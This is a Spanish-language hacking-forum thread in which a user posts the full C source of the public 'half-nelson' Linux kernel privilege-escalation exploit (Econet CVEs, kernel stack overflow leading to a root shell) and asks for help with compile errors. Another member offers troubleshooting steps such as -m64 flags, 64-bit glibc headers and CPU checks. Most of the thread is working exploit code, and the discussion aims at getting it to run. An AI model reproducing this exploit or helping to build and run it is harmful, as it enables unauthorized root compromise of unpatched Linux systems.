[Exploit] me sale errror al intentar compilar el exploit half-nelson

Iniciado por moikano→@, 12 Noviembre 2011, 18:13 PM

0 Miembros y 1 Visitante están viendo este tema.

moikano→@

Hola

Nuevamente estoy intentando compilar un exploit llamado half-nelson, es el siguiente código:

/*
* half-nelson.c
*
* Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
*
*   Stack-based buffer overflow in the econet_sendmsg function in
*   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
*   econet address is configured, allows local users to gain privileges by
*   providing a large number of iovec structures.
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
*
*   The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
*   before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
*   allows local users to bypass intended access restrictions and configure
*   econet addresses via an SIOCSIFADDR ioctl call.
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
*
*   The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
*   initialize certain structures, which allows local users to obtain
*   potentially sensitive information from kernel stack memory.
*
* Usage:
*
*   $ gcc half-nelson.c -o half-nelson -lrt
*   $ ./half-nelson
*   [+] looking for symbols...
*   [+] resolved symbol commit_creds to 0xffffffff81088ad0
*   [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
*   [+] resolved symbol ia32_sysret to 0xffffffff81046692
*   [+] spawning children to achieve adjacent kstacks...
*   [+] found parent kstack at 0xffff88001c6ca000
*   [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
*   [+] lower child spawning a helper...
*   [+] lower child calling compat_sys_wait4 on helper...
*   [+] helper going to sleep...
*   [+] upper child triggering stack overflow...
*   [+] helper woke up
*   [+] lower child returned from compat_sys_wait4
*   [+] parent's restart_block has been clobbered
*   [+] escalating privileges...
*   [+] launching root shell!
*   # id
*   uid=0(root) gid=0(root)
*
* Notes:
*
*   This exploit leverages three vulnerabilities to escalate privileges.
*   The primary vulnerability is a kernel stack overflow, not a stack buffer
*   overflow as the CVE description incorrectly states. I believe this is the
*   first public exploit for a kernel stack overflow, and it turns out to be
*   a bit tricky due to some particulars of the econet vulnerability. A full
*   breakdown of the exploit is forthcoming.
*
*   Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>

#define IOVS           446
#define NPROC          1024
#define KSTACK_SIZE    8192

#define KSTACK_UNINIT  0
#define KSTACK_UPPER   1
#define KSTACK_LOWER   2
#define KSTACK_DIE     3
#define KSTACK_PARENT  4
#define KSTACK_CLOBBER 5

#define LEAK_BASE      0xffff880000000000
#define LEAK_TOP       0xffff8800c0000000
#define LEAK_DEPTH     500
#define LEAK_OFFSET    32

#define NR_IPC         0x75
#define NR_WAIT4       0x72
#define SEMCTL         0x3

#ifndef PF_ECONET
#define PF_ECONET      19
#endif

#define STACK_OFFSET   6
#define RESTART_OFFSET 40

struct ec_addr {
   unsigned char station;
   unsigned char net;
};

struct sockaddr_ec {
   unsigned short sec_family;
   unsigned char port;
   unsigned char cb;
   unsigned char type;
   struct ec_addr addr;
   unsigned long cookie;
};

struct ipc64_perm {
   uint32_t key;
   uint32_t uid;
   uint32_t gid;
   uint32_t cuid;
   uint32_t cgid;
   uint32_t mode;
   uint16_t seq;
   uint16_t __pad2;
   unsigned long __unused1;
   unsigned long __unused2;
};

struct semid64_ds {
   struct ipc64_perm sem_perm;
   unsigned long sem_otime;
   unsigned long __unused1;
   unsigned long sem_ctime;
   unsigned long __unused;
   unsigned long sem_nsems;
   unsigned long __unused3;
   unsigned long __unused4;
};

union semun {
   int val;
   struct semid_ds *buf;
   unsigned short *array;
   struct seminfo *__buf;
};

struct region {
   unsigned long parent;
   unsigned long addrs[NPROC];
};
struct region *region;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;
 
void __attribute__((regparm(3)))
kernel_code(void)
{
   commit_creds(prepare_kernel_cred(0));
}

void
payload_parent(void)
{
   asm volatile (
       "mov $kernel_code, %rax\n"
       "call *%rax\n"
   );
}

void
payload_child(void)
{
   asm volatile (
       "movq $payload_parent, (%0)\n"
       "jmpq *%1\n"
       :
       : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
   );
}

unsigned long
get_kstack(void)
{
   int i, size, offset;
   union semun *arg;
   struct semid_ds dummy;
   struct semid64_ds *leaked;
   char *stack_start, *stack_end;
   unsigned char *p;
   unsigned long kstack, *ptr;

   /* make sure our argument is 32-bit accessible */
   arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
   if (arg == MAP_FAILED) {
       printf("[-] failure mapping memory, aborting!\n");
       exit(1);
   }

   /* map a fake stack to use during syscall */
   stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
   if (stack_start == MAP_FAILED) {
       printf("[-] failure mapping memory, aborting!\n");
       exit(1);
   }
   stack_end = stack_start + 4096;

   memset(arg, 0, sizeof(union semun));
   memset(&dummy, 0, sizeof(struct semid_ds));
   arg->buf = &dummy;

   /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
   asm volatile (
       "push %%rax\n"
       "push %%rbx\n"
       "push %%rcx\n"
       "push %%rdx\n"
       "push %%rsi\n"
       "push %%rdi\n"
       "movl %0, %%eax\n"
       "movl %1, %%ebx\n"
       "movl %2, %%ecx\n"
       "movl %3, %%edx\n"
       "movl %4, %%esi\n"
       "movq %5, %%rdi\n"
       "movq %%rsp, %%r8\n"
       "movq %6, %%rsp\n"
       "push %%r8\n"
       "int $0x80\n"
       "pop %%r8\n"
       "movq %%r8, %%rsp\n"
       "pop %%rdi\n"
       "pop %%rsi\n"
       "pop %%rdx\n"
       "pop %%rcx\n"
       "pop %%rbx\n"
       "pop %%rax\n"
       :
       : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
       : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
   );

   /* naively extract a pointer to the kstack from the kstack */
   p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
   kstack = *(unsigned long *) p;

   if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
       printf("[-] failed to leak a suitable kstack address, try again!\n");
       exit(1);
   }
   if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
       printf("[-] failed to leak a suitable kstack address, try again!\n");
       exit(1);
   }

   kstack = kstack & ~0x1fff;
   
   return kstack;
}

unsigned long
get_symbol(char *name)
{
   FILE *f;
   unsigned long addr;
   char dummy, sym[512];
   int ret = 0;
 
   f = fopen("/proc/kallsyms", "r");
   if (!f) {
       return 0;
   }
 
   while (ret != EOF) {
       ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
       if (ret == 0) {
           fscanf(f, "%s\n", sym);
           continue;
       }
       if (!strcmp(name, sym)) {
           printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
           fclose(f);
           return addr;
       }
   }
   fclose(f);
 
   return 0;
}

int
get_adjacent_kstacks(void)
{
   int i, ret, shm, pid, type;

   /* create shared communication channel between parent and its children */
   shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
   if (shm < 0) {
       printf("[-] failed creating shared memory, aborting!\n");
       exit(1);
   }

   ret = ftruncate(shm, sizeof(struct region));
   if (ret != 0) {
       printf("[-] failed resizing shared memory, aborting!\n");
       exit(1);
   }

   region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
   memset(region, KSTACK_UNINIT, sizeof(struct region));

   /* parent kstack self-discovery */
   region->parent = get_kstack();

   printf("[+] found parent kstack at 0x%lx\n", region->parent);

   /* fork and discover children with adjacently-allocated kernel stacks */
   for (i = 0; i < NPROC; ++i) {
       pid = fork();

       if (pid > 0) {
           type = KSTACK_PARENT;
           continue;
       } else if (pid == 0) {
           /* children do kstack self-discovery */
           region->addrs[i] = get_kstack();

           /* children sleep until parent has found adjacent children */
           while (1) {
               sleep(1);
               if (region->addrs[i] == KSTACK_DIE) {
                   /* parent doesn't need us :-( */
                   exit(0);
               } else if (region->addrs[i] == KSTACK_UPPER) {
                   /* we're the upper adjacent process */
                   type = KSTACK_UPPER;
                   break;
               } else if (region->addrs[i] == KSTACK_LOWER) {
                   /* we're the lower adjacent process */
                   type = KSTACK_LOWER;
                   break;
               }
           }
           break;
       } else {
           printf("[-] fork failed, aborting!\n");
           exit(1);
       }
   }

   return type;
}

void
do_parent(void)
{
   int i, j, upper, lower;

   /* parent sleeps until we've discovered all the child kstacks */
   while (1) {
       sleep(1);
       for (i = 0; i < NPROC; ++i) {
           if (region->addrs[i] == KSTACK_UNINIT) {
               break;
           }
       }
       if (i == NPROC) {
           break;
       }
   }

   /* figure out if we have any adjacent child kstacks */
   for (i = 0; i < NPROC; ++i) {
       for (j = 0; j < NPROC; ++j) {
           if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
               break;
           }
       }
       if (j != NPROC) {
           break;
       }
   }
   if (i == NPROC && j == NPROC) {
       printf("[-] failed to find adjacent kstacks, try again!\n");
       exit(1);
   }

   upper = i;
   lower = j;

   printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);

   /* signal to non-adjacent children to die */
   for (i = 0; i < NPROC; ++i) {
       if (i != upper && i != lower) {
           region->addrs[i] = KSTACK_DIE;
       }
   }

   /* signal adjacent children to continue on */
   region->addrs[upper] = KSTACK_UPPER;
   region->addrs[lower] = KSTACK_LOWER;

   /* parent sleeps until child has clobbered the fptr */
   while (1) {
       sleep(1);
       if (region->parent == KSTACK_CLOBBER) {
           break;
       }
   }

   printf("[+] escalating privileges...\n");

   /* trigger our clobbered fptr */
   syscall(__NR_restart_syscall);

   /* our privileges should be escalated now */
   if (getuid() != 0) {
       printf("[-] privilege escalation failed, aborting!\n");
       exit(1);
   }

   printf("[+] launching root shell!\n");

   execl("/bin/sh", "/bin/sh", NULL);
}

void
do_child_upper(void)
{
   int i, ret, eco_sock;
   struct sockaddr_ec eco_addr;
   struct msghdr eco_msg;
   struct iovec iovs[IOVS];
   struct ifreq ifr;
   char *target;

   /* calculate payload target, skip prologue */
   target = (char *) payload_child;
   target += 4;
   
   /* give lower child a chance to enter its wait4 call */
   sleep(1);

   /* write some zeros */
   for (i = 0; i < STACK_OFFSET; ++i) {
       iovs[i].iov_base = (void *) 0x0;
       iovs[i].iov_len = 0;
   }

   /* overwrite saved ia32_sysret address on stack */
   iovs[STACK_OFFSET].iov_base = (void *) target;
   iovs[STACK_OFFSET].iov_len = 0x0246;

   /* force abort via EFAULT */
   for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
       iovs[i].iov_base = (void *) 0xffffffff00000000;
       iovs[i].iov_len = 0;
   }

   /* create econet socket */
   eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
   if (eco_sock < 0) {
       printf("[-] failed creating econet socket, aborting!\n");
       exit(1);
   }

   memset(&ifr, 0, sizeof(ifr));
   strcpy(ifr.ifr_name, "lo");

   /* trick econet into associated with the loopback */
   ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
   if (ret != 0) {
       printf("[-] failed setting interface address, aborting!\n");
       exit(1);
   }

   memset(&eco_addr, 0, sizeof(eco_addr));
   memset(&eco_msg, 0, sizeof(eco_msg));
   eco_msg.msg_name = &eco_addr;
   eco_msg.msg_namelen = sizeof(eco_addr);
   eco_msg.msg_flags = 0;
   eco_msg.msg_iov = &iovs[0];
   eco_msg.msg_iovlen = IOVS;

   printf("[+] upper child triggering stack overflow...\n");

   /* trigger the kstack overflow into lower child's kstack */
   ret = sendmsg(eco_sock, &eco_msg, 0);
   if (ret != -1 || errno != EFAULT) {
       printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
       exit(1);
   }

   close(eco_sock);
}

void
do_child_lower(void)
{
   int pid;

   printf("[+] lower child spawning a helper...\n");

   /* fork off a helper to wait4 on */
   pid = fork();
   if (pid == 0) {
       printf("[+] helper going to sleep...\n");
       sleep(5);
       printf("[+] helper woke up\n");
       exit(1);
   }

   printf("[+] lower child calling compat_sys_wait4 on helper...\n");

   /* syscall(NR_WAIT4, pid, 0, 0, 0) */
   asm volatile (
       "push %%rax\n"
       "push %%rbx\n"
       "push %%rcx\n"
       "push %%rdx\n"
       "push %%rsi\n"
       "movl %0, %%eax\n"
       "movl %1, %%ebx\n"
       "movl %2, %%ecx\n"
       "movl %3, %%edx\n"
       "movl %4, %%esi\n"
       "int $0x80\n"
       "pop %%rsi\n"
       "pop %%rdx\n"
       "pop %%rcx\n"
       "pop %%rbx\n"
       "pop %%rax\n"
       :
       : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
       : "memory", "rax", "rbx", "rcx", "rdx", "rsi"
   );

   printf("[+] lower child returned from compat_sys_wait4\n");

   printf("[+] parent's restart_block has been clobbered\n");

   /* signal parent that our fptr should now be clobbered */
   region->parent = KSTACK_CLOBBER;
}

int
main(int argc, char **argv)
{
   int type;

   if (sizeof(unsigned long) != 8) {
       printf("[-] x86_64 only, sorry!\n");
       exit(1);
   }

   printf("[+] looking for symbols...\n");
 
   commit_creds = (_commit_creds) get_symbol("commit_creds");
   if (!commit_creds) {
       printf("[-] symbol table not available, aborting!\n");
       exit(1);
   }
 
   prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
   if (!prepare_kernel_cred) {
       printf("[-] symbol table not available, aborting!\n");
       exit(1);
   }

   ia32_sysret = get_symbol("ia32_sysret");
   if (!ia32_sysret) {
       printf("[-] symbol table not available, aborting!\n");
       exit(1);
   }

   printf("[+] spawning children to achieve adjacent kstacks...\n");

   type = get_adjacent_kstacks();

   if (type == KSTACK_PARENT) {
       do_parent();
   } else if (type == KSTACK_UPPER) {
       do_child_upper();
   } else if (type == KSTACK_LOWER) {
       do_child_lower();
   }

   return 0;
}



Al poner el siguiente comando:  gcc half-nelson.c -o half-nelson -lrt

Me sale el siguiente error:

Citarhalf-nelson.c: In function 'get_kstack':
half-nelson.c:265: warning: integer constant is too large for 'long' type
half-nelson.c:265: warning: integer constant is too large for 'long' type
half-nelson.c: In function 'do_child_upper':
half-nelson.c:475: warning: integer constant is too large for 'long' type
half-nelson.c: In function 'get_kstack':
half-nelson.c:231: error: unknown register name 'r8' in 'asm'

No se ni que podría ser, gracias de antemano.



Ivanchuk

r8 esta en las arch de 64 bits.

Código (bash) [Seleccionar]
gcc half-nelson.c -o half-nelson -lrt -m64
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

moikano→@

Gracias por contestar.

Al poner el comando que me dijiste, con la arquitectura de 64, no me funciona. Al ponerlo me sale el siguiente error:


In file included from /usr/include/features.h:378,
                 from /usr/include/stdio.h:28,
                 from half-nelson.c:65:
/usr/include/gnu/stubs.h:9:27: error: gnu/stubs-64.h: No existe el fichero o el directorio

Supongo que será un header que me falta, pero no se si tengo que instalarlo o actualizar el gcc...¿?

Ivanchuk

Si buscas en google vas a encontrar que el header forma parte de la glibc de 64 bits. Si tenes un procesador de 32 no te sirve de nada compilar ese exploit, no vas a poder ejecutarlo. Podes saberlo viendo si tenes el flag "lm" (long mode 64bits) con:
Código (bash) [Seleccionar]
grep flags /proc/cpuinfo
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

moikano→@

Entonces debo compilar con un sistema de 32 para un sistema de 32? Creía que eso se podía solucionar con el compilador, diciéndole que compilará para 32bits en vez de 64.

La salida del comando que me dijiste:

Citar
$grep flags /proc/cpuinfo
flags      : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow up pni lahf_lm

Ivanchuk

#5
Cita de: moikano→@ en 23 Noviembre 2011, 15:08 PM
Entonces debo compilar con un sistema de 32 para un sistema de 32? Creía que eso se podía solucionar con el compilador, diciéndole que compilará para 32bits en vez de 64.
Podes compilar para 32 (-m32) o 64 (-m64) en cualquier maquina siempre y cuando el compilador lo soporte.
Tenes un cpu de 64 pero seguro estas corriendo un linux de 32 por eso no tenes las libs y los headers de 64. Fijate si vienen en el paquete build-essential.

Edit: El exploit es para 64 bits asi mismo si lo compilas bien, no lo vas a poder correr en tu maquina. Proba con un live cd linux x86_64 sino.
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

moikano→@

Creo que instalé la versión de 64 bits, ya que en eso me suelo fijar bastante bien, lo que si puede ser es que los headers o el compilador esté instalado para versiones de 32 bits.

Lo mirare y posteo.